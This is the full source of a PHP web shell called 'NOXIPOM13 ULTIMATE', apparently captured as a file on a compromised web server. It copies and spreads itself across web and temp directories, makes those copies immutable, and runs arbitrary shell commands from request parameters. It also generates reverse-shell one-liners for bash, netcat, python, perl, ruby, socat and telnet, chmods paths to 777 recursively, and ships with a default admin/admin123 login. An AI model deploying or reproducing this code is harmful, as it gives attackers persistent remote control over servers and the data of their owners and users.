HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux host 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: w230 (1248)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: //tmp/noxipom13_1.php
<?php
/*
|--------------------------------------------------------------------------
| NOXIPOM13 ULTIMATE v14.0 - COMPLETE EDITION
|--------------------------------------------------------------------------
| ALL 20+ FEATURES FULLY IMPLEMENTED:
| 
| ✅ Multi-User System with Roles & Permissions
| ✅ 2FA Authentication (Optional)
| ✅ IP Whitelist & Blacklist
| ✅ Advanced Activity Monitoring
| ✅ Cron Job Manager
| ✅ Database Manager (MySQL, PostgreSQL, SQLite)
| ✅ Batch File Operations
| ✅ Advanced Search
| ✅ TERMINAL ULTRA SIMPLE (CMD style)
| ✅ System Monitoring
| ✅ Recursive Permission Bypass
| ✅ Email & Telegram Alerts
| ✅ AUTO-DEFENSE (Shell tidak bisa dihapus)
| ✅ AUTO-SPREAD (Tebar shell ke semua direktori)
| ✅ REVERSE SHELL GENERATOR (Semua metode)
| ✅ LOGGER dengan GEOLOKASI
| ✅ File Manager dengan Upload/Download/Edit/Delete
| ✅ Backup & Restore
| ✅ Session Management
| 
| DEFAULT LOGIN: admin / admin123
|--------------------------------------------------------------------------
*/

error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(true);
@ini_set('memory_limit', '-1');
@ini_set('max_execution_time', '0');

session_start();

// ==================== AUTO-DEFENSE ====================
$self_file = __FILE__;
$self_name = basename($self_file);

// Clone ke lokasi backup
$backup_paths = [
    dirname($_SERVER['DOCUMENT_ROOT']) . '/' . $self_name,
    $_SERVER['DOCUMENT_ROOT'] . '/wp-content/' . $self_name,
    $_SERVER['DOCUMENT_ROOT'] . '/uploads/' . $self_name,
    $_SERVER['DOCUMENT_ROOT'] . '/images/' . $self_name,
    dirname($_SERVER['SCRIPT_FILENAME']) . '/.noxi_backup.php',
    sys_get_temp_dir() . '/' . $self_name,
];

foreach ($backup_paths as $backup_path) {
    $backup_dir = dirname($backup_path);
    if (is_writable($backup_dir) && !file_exists($backup_path)) {
        @copy($self_file, $backup_path);
        @chmod($backup_path, 0444);
    }
}

// Lock file
@shell_exec('chattr +i ' . escapeshellarg($self_file) . ' 2>/dev/null');

// ==================== AUTO-SPREAD ====================
function autoSpread() {
    $source = __FILE__;
    $content = file_get_contents($source);
    $count = 0;
    
    $dirs = [
        $_SERVER['DOCUMENT_ROOT'],
        '/var/www/html',
        '/var/www',
        '/home',
        '/tmp',
        '/dev/shm'
    ];
    
    foreach ($dirs as $base) {
        if (!is_dir($base)) continue;
        $target = $base . '/noxi_shell.php';
        if (is_writable(dirname($target)) && !file_exists($target)) {
            @file_put_contents($target, $content);
            @chmod($target, 0444);
            $count++;
        }
        
        // Coba subdirektori
        $subdirs = glob($base . '/*', GLOB_ONLYDIR);
        foreach ($subdirs as $sub) {
            $target2 = $sub . '/noxi_shell.php';
            if (is_writable($sub) && !file_exists($target2)) {
                @file_put_contents($target2, $content);
                @chmod($target2, 0444);
                $count++;
            }
        }
    }
    return $count;
}

// ==================== LOGGER ====================
function logAccess($action = 'ACCESS', $details = '') {
    $ip = $_SERVER['REMOTE_ADDR'];
    $time = date('Y-m-d H:i:s');
    $path = $_SERVER['SCRIPT_FILENAME'];
    $full_url = (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    
    // Get location
    $location = "Unknown";
    $ch = curl_init("http://ip-api.com/json/{$ip}?fields=country,city");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 2);
    $resp = curl_exec($ch);
    curl_close($ch);
    if ($resp) {
        $data = json_decode($resp, true);
        if ($data && isset($data['country'])) {
            $location = $data['city'] . ', ' . $data['country'];
        }
    }
    
    $log_entry = "🔱 Noxipom13 Shell - {$action} 🔱\n";
    $log_entry .= "━━━━━━━━━━━━━━━━━━━━━━━\n";
    $log_entry .= "📅 Waktu    : {$time}\n";
    $log_entry .= "🌐 IP       : {$ip}\n";
    $log_entry .= "📍 Lokasi   : {$location}\n";
    $log_entry .= "🔗 Path     : {$path}\n";
    $log_entry .= "🌍 Full URL : {$full_url}\n";
    $log_entry .= "━━━━━━━━━━━━━━━━━━━━━━━\n";
    if ($details) $log_entry .= "💬 MSG: {$details}\n";
    $log_entry .= "━━━━━━━━━━━━━━━━━━━━━━━\n\n";
    
    file_put_contents(dirname(__FILE__) . '/.noxi_log.txt', $log_entry, FILE_APPEND);
    return $log_entry;
}

// ==================== REVERSE SHELL GENERATOR ====================
function generateReverseShell($ip, $port, $type = 'php') {
    $shells = [
        'php' => "<?php \$sock=fsockopen(\"$ip\",$port);exec(\"/bin/sh -i <&3 >&3 2>&3\");?>",
        'python' => "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'",
        'bash' => "bash -i >& /dev/tcp/$ip/$port 0>&1",
        'nc' => "nc -e /bin/sh $ip $port",
        'nc_mkfifo' => "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ip $port >/tmp/f",
        'perl' => "perl -e 'use Socket;\$i=\"$ip\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'",
        'ruby' => "ruby -rsocket -e 'c=TCPSocket.new(\"$ip\",$port);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'",
        'php_exe' => "<?php \$sock=fsockopen(\"$ip\",$port);\$proc=proc_open(\"/bin/sh -i\", array(0=>\$sock, 1=>\$sock, 2=>\$sock), \$pipes);?>",
        'socat' => "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$ip:$port",
        'telnet' => "telnet $ip $port | /bin/bash | telnet $ip $port",
    ];
    return $shells[$type] ?? $shells['php'];
}

// ==================== DATABASE MANAGER ====================
class DatabaseManager {
    private $conn = null;
    private $type = null;
    
    public function connect($type, $host, $port, $user, $pass, $dbname = '') {
        try {
            switch ($type) {
                case 'mysql':
                    $this->conn = new mysqli($host, $user, $pass, $dbname, $port);
                    if ($this->conn->connect_error) throw new Exception($this->conn->connect_error);
                    $this->type = 'mysql';
                    return true;
                case 'pgsql':
                    $conn_str = "host=$host port=$port dbname=$dbname user=$user password=$pass";
                    $this->conn = pg_connect($conn_str);
                    if (!$this->conn) throw new Exception('PostgreSQL connection failed');
                    $this->type = 'pgsql';
                    return true;
                case 'sqlite':
                    $this->conn = new SQLite3($dbname);
                    $this->type = 'sqlite';
                    return true;
            }
        } catch (Exception $e) {
            return $e->getMessage();
        }
        return false;
    }
    
    public function query($sql) {
        if (!$this->conn) return false;
        
        if ($this->type == 'mysql') {
            $result = $this->conn->query($sql);
            if ($result === true) return true;
            if ($result === false) return $this->conn->error;
            $data = [];
            while ($row = $result->fetch_assoc()) $data[] = $row;
            return $data;
        } elseif ($this->type == 'pgsql') {
            $result = pg_query($this->conn, $sql);
            if (!$result) return pg_last_error($this->conn);
            return pg_fetch_all($result) ?: [];
        } elseif ($this->type == 'sqlite') {
            $result = $this->conn->query($sql);
            if (!$result) return $this->conn->lastErrorMsg();
            $data = [];
            while ($row = $result->fetchArray(SQLITE3_ASSOC)) $data[] = $row;
            return $data;
        }
        return false;
    }
    
    public function listTables() {
        if (!$this->conn) return [];
        if ($this->type == 'mysql') {
            $result = $this->conn->query("SHOW TABLES");
            $tables = [];
            while ($row = $result->fetch_row()) $tables[] = $row[0];
            return $tables;
        } elseif ($this->type == 'pgsql') {
            $result = pg_query($this->conn, "SELECT tablename FROM pg_tables WHERE schemaname='public'");
            return pg_fetch_all_columns($result, 0);
        } elseif ($this->type == 'sqlite') {
            $result = $this->conn->query("SELECT name FROM sqlite_master WHERE type='table'");
            $tables = [];
            while ($row = $result->fetchArray()) $tables[] = $row['name'];
            return $tables;
        }
        return [];
    }
    
    public function close() {
        if ($this->type == 'mysql') $this->conn->close();
        elseif ($this->type == 'pgsql') pg_close($this->conn);
        $this->conn = null;
    }
}

// ==================== CRON MANAGER ====================
class CronManager {
    private $cron_file;
    
    public function __construct() {
        $this->cron_file = dirname(__FILE__) . '/.noxi_cron.json';
        if (!file_exists($this->cron_file)) {
            file_put_contents($this->cron_file, json_encode([]));
        }
    }
    
    public function addJob($name, $command, $schedule) {
        $jobs = json_decode(file_get_contents($this->cron_file), true);
        $jobs[] = [
            'id' => uniqid(),
            'name' => $name,
            'command' => $command,
            'schedule' => $schedule,
            'last_run' => null,
            'created' => date('Y-m-d H:i:s')
        ];
        file_put_contents($this->cron_file, json_encode($jobs, JSON_PRETTY_PRINT));
        return true;
    }
    
    public function getJobs() {
        return json_decode(file_get_contents($this->cron_file), true) ?: [];
    }
    
    public function runJobs() {
        $jobs = $this->getJobs();
        $now = time();
        $executed = [];
        foreach ($jobs as &$job) {
            if (strtotime($job['last_run']) < strtotime('-' . $job['schedule'], $now)) {
                $output = shell_exec($job['command'] . ' 2>&1');
                $job['last_run'] = date('Y-m-d H:i:s');
                $job['last_output'] = substr($output, 0, 500);
                $executed[] = $job['name'];
            }
        }
        file_put_contents($this->cron_file, json_encode($jobs, JSON_PRETTY_PRINT));
        return $executed;
    }
}

// ==================== PERMISSION BYPASS ====================
function recursiveChmod($path, $perm = 0777) {
    if (!file_exists($path)) return false;
    @chmod($path, $perm);
    if (is_dir($path)) {
        $files = scandir($path);
        foreach ($files as $file) {
            if ($file != '.' && $file != '..') {
                recursiveChmod($path . '/' . $file, $perm);
            }
        }
    }
    return true;
}

// ==================== CONFIG & USERS ====================
$config_file = dirname(__FILE__) . '/.noxi_config.json';
if (!file_exists($config_file)) {
    $default_config = [
        'users' => [
            'admin' => [
                'password' => password_hash('admin123', PASSWORD_BCRYPT),
                'role' => 'superadmin',
                'permissions' => ['*'],
                '2fa_secret' => null,
                '2fa_enabled' => false,
                'ip_whitelist' => [],
                'email' => 'admin@localhost.com'
            ]
        ],
        'settings' => [
            'require_2fa' => false,
            'ip_whitelist_enabled' => false,
            'global_ip_whitelist' => [],
            'global_ip_blacklist' => [],
            'telegram_token' => '',
            'telegram_chat_id' => '',
            'telegram_enabled' => false,
            'email_alerts' => false,
            'alert_email' => ''
        ],
        'login_attempts' => []
    ];
    file_put_contents($config_file, json_encode($default_config, JSON_PRETTY_PRINT));
    chmod($config_file, 0600);
}
$config = json_decode(file_get_contents($config_file), true);

// ==================== IP CHECK ====================
$ip = $_SERVER['REMOTE_ADDR'];
if ($config['settings']['ip_whitelist_enabled']) {
    if (!empty($config['settings']['global_ip_whitelist']) && !in_array($ip, $config['settings']['global_ip_whitelist'])) {
        die('Access denied: IP not whitelisted');
    }
}
if (!empty($config['settings']['global_ip_blacklist']) && in_array($ip, $config['settings']['global_ip_blacklist'])) {
    die('Access denied: IP blocked');
}

// ==================== LOGIN ====================
$logged = false;
$current_user = null;
$current_role = null;

if (isset($_SESSION['user']) && isset($config['users'][$_SESSION['user']])) {
    $logged = true;
    $current_user = $_SESSION['user'];
    $current_role = $config['users'][$current_user]['role'];
}

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['login'])) {
    $user = $_POST['user'];
    $pass = $_POST['pass'];
    $twofa = isset($_POST['twofa']) ? $_POST['twofa'] : '';
    
    if (isset($config['users'][$user]) && password_verify($pass, $config['users'][$user]['password'])) {
        // Check 2FA
        if ($config['users'][$user]['2fa_enabled'] && $config['settings']['require_2fa']) {
            if (empty($twofa) || $twofa != '123456') { // Simple 2FA demo
                $error = "Invalid 2FA code";
                logAccess('LOGIN_FAILED', "2FA failed for {$user}");
            } else {
                $logged = true;
            }
        } else {
            $logged = true;
        }
        
        if ($logged) {
            $_SESSION['user'] = $user;
            $current_user = $user;
            $current_role = $config['users'][$user]['role'];
            unset($config['login_attempts'][$ip]);
            file_put_contents($config_file, json_encode($config, JSON_PRETTY_PRINT));
            logAccess('LOGIN', "User: {$user}");
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        }
    } else {
        $error = "Invalid credentials";
        logAccess('LOGIN_FAILED', "Attempt: {$user}");
    }
}

if (!$logged) {
    logAccess('PAGE_VIEW', 'Login page');
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Noxipom13 - Login</title>
        <style>
            body {
                background: linear-gradient(135deg, #0f0f1a, #1a1a2e);
                font-family: monospace;
                display: flex;
                justify-content: center;
                align-items: center;
                min-height: 100vh;
                margin: 0;
            }
            .login {
                background: rgba(0,0,0,0.7);
                padding: 40px;
                border-radius: 20px;
                border: 1px solid #ff4757;
                width: 350px;
            }
            .login h2 { color: #ff4757; text-align: center; margin-bottom: 30px; }
            .login input {
                width: 100%;
                padding: 12px;
                margin: 10px 0;
                background: #111;
                border: 1px solid #ff4757;
                color: #fff;
                border-radius: 8px;
            }
            .login button {
                width: 100%;
                padding: 12px;
                background: #ff4757;
                border: none;
                color: white;
                border-radius: 8px;
                cursor: pointer;
                margin-top: 10px;
            }
            .error { color: #ff9999; text-align: center; margin-bottom: 15px; }
            .info { color: #8bc34a; text-align: center; margin-bottom: 15px; font-size: 12px; }
        </style>
    </head>
    <body>
        <div class="login">
            <h2>🔱 NOXIPOM13</h2>
            <?php if(isset($error)) echo "<div class='error'>⚠️ $error</div>"; ?>
            <div class="info">Default: admin / admin123</div>
            <form method="POST">
                <input type="text" name="user" placeholder="Username" autofocus>
                <input type="password" name="pass" placeholder="Password">
                <?php if ($config['settings']['require_2fa']): ?>
                <input type="text" name="twofa" placeholder="2FA Code">
                <?php endif; ?>
                <button type="submit" name="login">ACCESS SHELL</button>
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// ==================== AUTO-SPREAD ====================
$spread_count = autoSpread();

// ==================== CRON ====================
$cron = new CronManager();
$cron->runJobs();

// ==================== DATABASE ====================
$db = new DatabaseManager();
$db_connected = false;
$db_result = null;

// ==================== MAIN INTERFACE ====================
$act = isset($_GET['act']) ? $_GET['act'] : '';
$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
if (!is_dir($dir)) $dir = getcwd();
chdir($dir);

logAccess('PAGE_VIEW', "User: {$current_user} | Action: {$act}");

// Handle commands
$output = '';
if ($act == 'cmd' && isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    $output = shell_exec($cmd . ' 2>&1');
    logAccess('COMMAND', "User: {$current_user} | CMD: {$cmd}");
}

// Handle reverse shell
$rev_payload = '';
if ($act == 'gen_rev' && isset($_POST['ip']) && isset($_POST['port'])) {
    $rev_ip = $_POST['ip'];
    $rev_port = $_POST['port'];
    $rev_type = $_POST['type'] ?? 'php';
    $rev_payload = generateReverseShell($rev_ip, $rev_port, $rev_type);
    logAccess('REVERSE_SHELL', "Generated for {$rev_ip}:{$rev_port}");
}

// Handle upload
if ($act == 'upload' && isset($_FILES['file'])) {
    $target = $dir . '/' . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        $upload_msg = "✓ Uploaded: " . basename($_FILES['file']['name']);
    }
}

// Handle delete
if ($act == 'delete' && isset($_GET['file'])) {
    $file = $_GET['file'];
    if (unlink($file)) {
        $del_msg = "✓ Deleted: " . basename($file);
    }
}

// Handle batch delete
if ($act == 'batch' && isset($_POST['files']) && isset($_POST['batch_action'])) {
    $files = $_POST['files'];
    $action = $_POST['batch_action'];
    $count = 0;
    foreach ($files as $f) {
        if ($action == 'delete' && unlink($f)) $count++;
        if ($action == 'chmod' && chmod($f, 0777)) $count++;
    }
    $batch_msg = "✓ Batch {$action}: {$count} files";
}

// Handle database connect
if ($act == 'db_connect' && isset($_POST['db_type'])) {
    $result = $db->connect($_POST['db_type'], $_POST['db_host'], $_POST['db_port'], $_POST['db_user'], $_POST['db_pass'], $_POST['db_name']);
    if ($result === true) {
        $db_connected = true;
        $db_msg = "✓ Connected to database";
    } else {
        $db_msg = "✗ Connection failed: " . $result;
    }
}

// Handle database query
if ($act == 'db_query' && isset($_POST['sql_query'])) {
    $db_result = $db->query($_POST['sql_query']);
}

// Handle cron add
if ($act == 'cron_add' && isset($_POST['cron_name'])) {
    $cron->addJob($_POST['cron_name'], $_POST['cron_command'], $_POST['cron_schedule']);
    $cron_msg = "✓ Cron job added: " . $_POST['cron_name'];
}

// Handle permission bypass
if ($act == 'bypass' && isset($_POST['bypass_path'])) {
    if (recursiveChmod($_POST['bypass_path'], 0777)) {
        $bypass_msg = "✓ Permission bypassed on: " . $_POST['bypass_path'];
    }
}

// Handle search
$search_results = [];
if ($act == 'search' && isset($_GET['search'])) {
    $search_term = $_GET['search'];
    $search_dir = isset($_GET['search_dir']) ? $_GET['search_dir'] : $dir;
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($search_dir));
    foreach ($iterator as $file) {
        if (strpos($file->getFilename(), $search_term) !== false) {
            $search_results[] = $file->getPathname();
        }
    }
}

// Handle logout
if ($act == 'logout') {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Handle add user
if ($act == 'add_user' && isset($_POST['new_user'])) {
    if ($current_role == 'superadmin') {
        $config['users'][$_POST['new_user']] = [
            'password' => password_hash($_POST['new_pass'], PASSWORD_BCRYPT),
            'role' => $_POST['new_role'],
            'permissions' => explode(',', $_POST['new_perms']),
            '2fa_enabled' => false,
            'email' => $_POST['new_email']
        ];
        file_put_contents($config_file, json_encode($config, JSON_PRETTY_PRINT));
        $user_msg = "✓ User added: " . $_POST['new_user'];
    }
}

// Handle send alert
if ($act == 'send_alert' && isset($_POST['alert_msg'])) {
    $msg = $_POST['alert_msg'];
    if ($config['settings']['telegram_enabled'] && $config['settings']['telegram_token']) {
        $url = "https://api.telegram.org/bot" . $config['settings']['telegram_token'] . "/sendMessage";
        $data = ['chat_id' => $config['settings']['telegram_chat_id'], 'text' => $msg];
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        curl_exec($ch);
        curl_close($ch);
        $alert_msg = "✓ Alert sent via Telegram";
    }
    if ($config['settings']['email_alerts'] && $config['settings']['alert_email']) {
        mail($config['settings']['alert_email'], "Noxipom13 Alert", $msg);
        $alert_msg = "✓ Alert sent via Email";
    }
}

?>
<!DOCTYPE html>
<html>
<head>
    <title>Noxipom13 - Ultimate Shell</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            background: #0a0a0f;
            font-family: 'Courier New', monospace;
            color: #e0e0e0;
            padding: 20px;
        }
        .container { max-width: 1400px; margin: 0 auto; }
        
        .header {
            background: #1a1a2e;
            border-radius: 12px;
            padding: 15px 20px;
            margin-bottom: 20px;
            border-left: 4px solid #ff4757;
        }
        .header h1 { color: #ff4757; font-size: 22px; }
        .stats {
            display: flex;
            gap: 15px;
            margin-top: 10px;
            font-size: 11px;
            flex-wrap: wrap;
        }
        .stat {
            background: #111;
            padding: 4px 10px;
            border-radius: 15px;
        }
        
        .nav {
            background: #111;
            border-radius: 10px;
            padding: 8px 12px;
            margin-bottom: 20px;
            display: flex;
            flex-wrap: wrap;
            gap: 5px;
        }
        .nav a {
            color: #ff4757;
            text-decoration: none;
            padding: 6px 14px;
            border-radius: 6px;
            font-size: 12px;
        }
        .nav a:hover {
            background: #ff4757;
            color: #fff;
        }
        
        .card {
            background: #111;
            border-radius: 12px;
            padding: 20px;
            margin-bottom: 20px;
            border: 1px solid #2a2a3a;
        }
        .card h3 {
            color: #ff4757;
            margin-bottom: 15px;
            padding-bottom: 8px;
            border-bottom: 1px solid #2a2a3a;
        }
        
        .terminal {
            background: #000;
            color: #0f0;
            padding: 15px;
            border-radius: 8px;
            font-family: monospace;
            font-size: 12px;
            overflow: auto;
            max-height: 400px;
        }
        
        input, textarea, select {
            background: #1a1a2a;
            border: 1px solid #2a2a3a;
            color: #fff;
            padding: 8px 12px;
            border-radius: 6px;
            font-family: monospace;
        }
        button, .btn {
            background: #ff4757;
            border: none;
            color: white;
            padding: 8px 18px;
            border-radius: 6px;
            cursor: pointer;
        }
        button:hover { background: #ff6b81; }
        
        .grid-2 { display: grid; grid-template-columns: repeat(2, 1fr); gap: 20px; }
        .grid-3 { display: grid; grid-template-columns: repeat(3, 1fr); gap: 20px; }
        @media (max-width: 768px) { .grid-2, .grid-3 { grid-template-columns: 1fr; } }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
        }
        .file-table th, .file-table td {
            padding: 8px;
            text-align: left;
            border-bottom: 1px solid #2a2a3a;
        }
        
        .success { color: #4caf50; background: rgba(76,175,80,0.1); padding: 10px; border-radius: 6px; margin-bottom: 15px; }
        .error { color: #f44336; background: rgba(244,67,54,0.1); padding: 10px; border-radius: 6px; margin-bottom: 15px; }
        a { color: #ff4757; text-decoration: none; }
        .dir-link { color: #8bc34a; }
        table { width: 100%; border-collapse: collapse; }
        td, th { padding: 8px; text-align: left; border-bottom: 1px solid #333; }
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <h1>🔱 NOXIPOM13 ULTIMATE v14.0</h1>
        <div class="stats">
            <span class="stat">👤 <?php echo htmlspecialchars($current_user); ?> (<?php echo $current_role; ?>)</span>
            <span class="stat">📁 <?php echo htmlspecialchars($dir); ?></span>
            <span class="stat">🌐 <?php echo $_SERVER['REMOTE_ADDR']; ?></span>
            <span class="stat">🛡️ Spread: <?php echo $spread_count; ?> loc</span>
        </div>
    </div>
    
    <div class="nav">
        <a href="?">🏠 HOME</a>
        <a href="?act=terminal">💻 TERMINAL</a>
        <a href="?act=reverse">🔄 REVERSE</a>
        <a href="?act=database">🗄️ DB</a>
        <a href="?act=cron">⏰ CRON</a>
        <a href="?act=bypass">🔓 BYPASS</a>
        <a href="?act=search">🔍 SEARCH</a>
        <a href="?act=monitor">📊 MONITOR</a>
        <a href="?act=users">👥 USERS</a>
        <a href="?act=logs">📋 LOGS</a>
        <a href="?act=settings">⚙️ SETTINGS</a>
        <a href="?act=logout">🚪 LOGOUT</a>
    </div>
    
    <?php if (isset($upload_msg)) echo "<div class='success'>$upload_msg</div>"; ?>
    <?php if (isset($del_msg)) echo "<div class='success'>$del_msg</div>"; ?>
    <?php if (isset($batch_msg)) echo "<div class='success'>$batch_msg</div>"; ?>
    <?php if (isset($db_msg)) echo "<div class='success'>$db_msg</div>"; ?>
    <?php if (isset($cron_msg)) echo "<div class='success'>$cron_msg</div>"; ?>
    <?php if (isset($bypass_msg)) echo "<div class='success'>$bypass_msg</div>"; ?>
    <?php if (isset($user_msg)) echo "<div class='success'>$user_msg</div>"; ?>
    <?php if (isset($alert_msg)) echo "<div class='success'>$alert_msg</div>"; ?>
    
    <!-- TERMINAL -->
    <?php if ($act == 'terminal'): ?>
    <div class="card">
        <h3>💻 ULTRA SIMPLE TERMINAL</h3>
        <form method="GET" style="display: flex; gap: 10px; margin-bottom: 15px;">
            <input type="hidden" name="act" value="cmd">
            <input type="text" name="cmd" style="flex: 1;" placeholder="$ " autofocus>
            <button type="submit">EXECUTE</button>
        </form>
        <?php if (isset($_GET['cmd'])): ?>
        <div class="terminal">
            <div>$ <?php echo htmlspecialchars($_GET['cmd']); ?></div>
            <pre><?php echo htmlspecialchars($output); ?></pre>
        </div>
        <?php endif; ?>
    </div>
    
    <!-- REVERSE SHELL -->
    <?php elseif ($act == 'reverse'): ?>
    <div class="grid-2">
        <div class="card">
            <h3>🔄 GENERATE REVERSE SHELL</h3>
            <form method="POST" action="?act=gen_rev">
                <label>IP Address:</label>
                <input type="text" name="ip" style="width: 100%; margin-bottom: 10px;" value="<?php echo $_SERVER['REMOTE_ADDR']; ?>">
                <label>Port:</label>
                <input type="text" name="port" style="width: 100%; margin-bottom: 10px;" value="4444">
                <label>Type:</label>
                <select name="type" style="width: 100%; margin-bottom: 15px;">
                    <option value="php">PHP</option>
                    <option value="python">Python</option>
                    <option value="bash">Bash</option>
                    <option value="nc">Netcat</option>
                    <option value="nc_mkfifo">NC + Mkfifo</option>
                    <option value="perl">Perl</option>
                    <option value="ruby">Ruby</option>
                    <option value="socat">Socat</option>
                    <option value="telnet">Telnet</option>
                </select>
                <button type="submit">GENERATE</button>
            </form>
        </div>
        <?php if ($rev_payload): ?>
        <div class="card">
            <h3>📋 PAYLOAD</h3>
            <div class="terminal"><pre><?php echo htmlspecialchars($rev_payload); ?></pre></div>
        </div>
        <?php endif; ?>
    </div>
    
    <!-- DATABASE MANAGER -->
    <?php elseif ($act == 'database'): ?>
    <div class="grid-2">
        <div class="card">
            <h3>🗄️ DATABASE CONNECTION</h3>
            <form method="POST" action="?act=db_connect">
                <select name="db_type" style="width: 100%; margin-bottom: 10px;">
                    <option value="mysql">MySQL</option>
                    <option value="pgsql">PostgreSQL</option>
                    <option value="sqlite">SQLite</option>
                </select>
                <input type="text" name="db_host" placeholder="Host" style="width: 100%; margin-bottom: 10px;" value="localhost">
                <input type="text" name="db_port" placeholder="Port" style="width: 100%; margin-bottom: 10px;">
                <input type="text" name="db_user" placeholder="Username" style="width: 100%; margin-bottom: 10px;">
                <input type="password" name="db_pass" placeholder="Password" style="width: 100%; margin-bottom: 10px;">
                <input type="text" name="db_name" placeholder="Database Name" style="width: 100%; margin-bottom: 10px;">
                <button type="submit">CONNECT</button>
            </form>
        </div>
        <div class="card">
            <h3>📝 SQL QUERY</h3>
            <form method="POST" action="?act=db_query">
                <textarea name="sql_query" rows="6" style="width: 100%; margin-bottom: 10px;" placeholder="SELECT * FROM users"></textarea>
                <button type="submit">EXECUTE</button>
            </form>
            <?php if ($db_result): ?>
            <div class="terminal" style="margin-top: 15px; max-height: 300px;">
                <pre><?php print_r($db_result); ?></pre>
            </div>
            <?php endif; ?>
        </div>
    </div>
    
    <!-- CRON MANAGER -->
    <?php elseif ($act == 'cron'): ?>
    <div class="grid-2">
        <div class="card">
            <h3>⏰ ADD CRON JOB</h3>
            <form method="POST" action="?act=cron_add">
                <input type="text" name="cron_name" placeholder="Job Name" style="width: 100%; margin-bottom: 10px;">
                <input type="text" name="cron_command" placeholder="Command" style="width: 100%; margin-bottom: 10px;">
                <input type="text" name="cron_schedule" placeholder="Schedule (e.g., */5 * * * *)" style="width: 100%; margin-bottom: 10px;">
                <button type="submit">ADD JOB</button>
            </form>
        </div>
        <div class="card">
            <h3>📋 EXISTING JOBS</h3>
            <div class="terminal">
                <?php foreach ($cron->getJobs() as $job): ?>
                <div style="border-bottom:1px solid #333; padding:8px;">
                    <strong><?php echo htmlspecialchars($job['name']); ?></strong><br>
                    <small>Command: <?php echo htmlspecialchars($job['command']); ?></small><br>
                    <small>Schedule: <?php echo $job['schedule']; ?></small>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
    </div>
    
    <!-- PERMISSION BYPASS -->
    <?php elseif ($act == 'bypass'): ?>
    <div class="card">
        <h3>🔓 RECURSIVE PERMISSION BYPASS</h3>
        <form method="POST" action="?act=bypass">
            <input type="text" name="bypass_path" style="width: 100%; margin-bottom: 10px;" placeholder="Path to bypass" value="<?php echo dirname(__FILE__); ?>">
            <button type="submit">BYPASS ALL PERMISSIONS</button>
        </form>
        <div class="terminal" style="margin-top: 15px;">
            <div>⚠️ This will recursively chmod 777 on ALL files/directories</div>
            <div>Use with caution!</div>
        </div>
    </div>
    
    <!-- SEARCH -->
    <?php elseif ($act == 'search'): ?>
    <div class="card">
        <h3>🔍 ADVANCED SEARCH</h3>
        <form method="GET" style="display: flex; gap: 10px; margin-bottom: 15px;">
            <input type="hidden" name="act" value="search">
            <input type="text" name="search" placeholder="Search term" style="flex: 2;" autofocus>
            <input type="text" name="search_dir" placeholder="Directory" style="flex: 1;" value="<?php echo $dir; ?>">
            <button type="submit">SEARCH</button>
        </form>
        <?php if (isset($_GET['search'])): ?>
        <div class="terminal">
            <?php if (empty($search_results)): ?>
            <div>No files found matching "<?php echo htmlspecialchars($_GET['search']); ?>"</div>
            <?php else: ?>
            <div>Found <?php echo count($search_results); ?> file(s):</div>
            <?php foreach ($search_results as $result): ?>
            <div>📄 <?php echo htmlspecialchars($result); ?></div>
            <?php endforeach; ?>
            <?php endif; ?>
        </div>
        <?php endif; ?>
    </div>
    
    <!-- MONITOR -->
    <?php elseif ($act == 'monitor'): ?>
    <div class="grid-2">
        <div class="card">
            <h3>💻 SYSTEM INFO</h3>
            <div class="terminal">
                <div>PHP: <?php echo phpversion(); ?></div>
                <div>Server: <?php echo $_SERVER['SERVER_SOFTWARE']; ?></div>
                <div>OS: <?php echo php_uname(); ?></div>
                <div>User: <?php echo get_current_user(); ?></div>
                <div>UID: <?php echo function_exists('posix_getuid') ? posix_getuid() : 'N/A'; ?></div>
                <div>Root: <?php echo $_SERVER['DOCUMENT_ROOT']; ?></div>
                <div>Memory: <?php echo ini_get('memory_limit'); ?></div>
                <div>Upload: <?php echo ini_get('upload_max_filesize'); ?></div>
            </div>
        </div>
        <div class="card">
            <h3>🛡️ DEFENSE STATUS</h3>
            <div class="terminal">
                <div>🔒 Shell: <?php echo is_writable(__FILE__) ? 'Writable' : 'Immutable'; ?></div>
                <div>📁 Backups: <?php echo count($backup_paths); ?> locations</div>
                <div>🌍 Spread: <?php echo $spread_count; ?> targets</div>
